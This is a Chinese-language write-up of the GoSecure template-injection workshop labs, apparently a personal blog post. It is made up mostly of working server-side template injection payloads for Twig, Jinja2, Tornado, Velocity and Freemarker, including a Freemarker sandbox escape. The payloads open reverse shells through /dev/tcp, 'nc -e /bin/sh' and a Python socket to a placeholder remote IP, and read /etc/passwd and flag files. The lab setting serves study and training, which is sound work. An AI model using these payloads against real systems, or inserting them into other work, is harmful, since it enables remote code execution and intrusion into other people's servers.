环境地址
gosecure 的ssti教程地址template-injection-workshop
实际请去掉{\{ 和 {\% 中的\。
LAB 1: Twig (PHP)
email={\{_self.env.registerUndefinedFilterCallback("exec")}}{\{_self.env.getFilter("/bin/bash -c \"/bin/bash -i >%26 /dev/tcp/your_remote_ip/port 0>%261\"")}}&submit=
原理可以参考Twig SSTI。
问题:
直接bash -i /dev/tcp/ip/port 的时候,报错”/dev/tcp no such file or directory”,搜索发现是因为使用的是exec函数,不能直接处理重定向。参考/dev/tcp,使用bash -c
可以成功。
LAB 2: Jinja2 (Python)
name={\{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd','r').read()}}&org=1&phone=33&email=44
查找subprocess.Popen
{\% for item in ''.__class__.__mro__[2].__subclasses__()%}
{\%- if item.__name__ == 'Popen' -%}
{\{loop.index0}}{\{item}}
{\%- endif -%}
{\% endfor %}
shell
{\{''.__class__.__mro__[2].__subclasses__()[245](["/bin/bash","-c","/bin/bash -i >%26 /dev/tcp/your_remote_ip/port 0>%261"])}}
LAB 3: Tornado (Python)
{\%import subprocess,socket,os%}{\{s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)}}{\{s.connect(("your_remote_ip",port))}}{\{os.dup2(s.fileno(),0)}}{\{ os.dup2(s.fileno(),1)}}{\{ os.dup2(s.fileno(),2)}}{\{p=subprocess.call(["/bin/sh","-i"])}}
{\%import subprocess%} {\{subprocess.Popen(["nc","your_remote_ip","port","-e","/bin/sh"])}}
LAB 4: Velocity (Java)
猜密码猜了半天没有猜对,最后还是去看了一下代码才找到密码。
检测:
#set($x=7*7)$x
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('cat secret/flag.txt'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('nc your_rermote_ip port -e /bin/sh '))$ex.waitFor()
LAB 5: Freemarker (Java)
检测:
${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat secret/flag.txt") }
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("nc your_remote_ip port -e /bin/sh ") }
LAB 6: Freemaker (Sandbox escape)
<#list .data_model as key, object_test>
<b>Testing "${key}":</b><br/>
<#attempt>
<#assign classloader=object_test.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
Shell ! (
${dwf.newInstance(ec,null)("nc your_remote_ip port -e /bin/sh")}
)
<#recover>
failed
</#attempt>
<br/><br/>
</#list>
总结
经过案例练习,了解了ssti的实际场景和检测方式。实际利用一方面是积累利用方式,另一方面需要了解语言特性才有可能找到gadget。
感谢网络上各位的分享。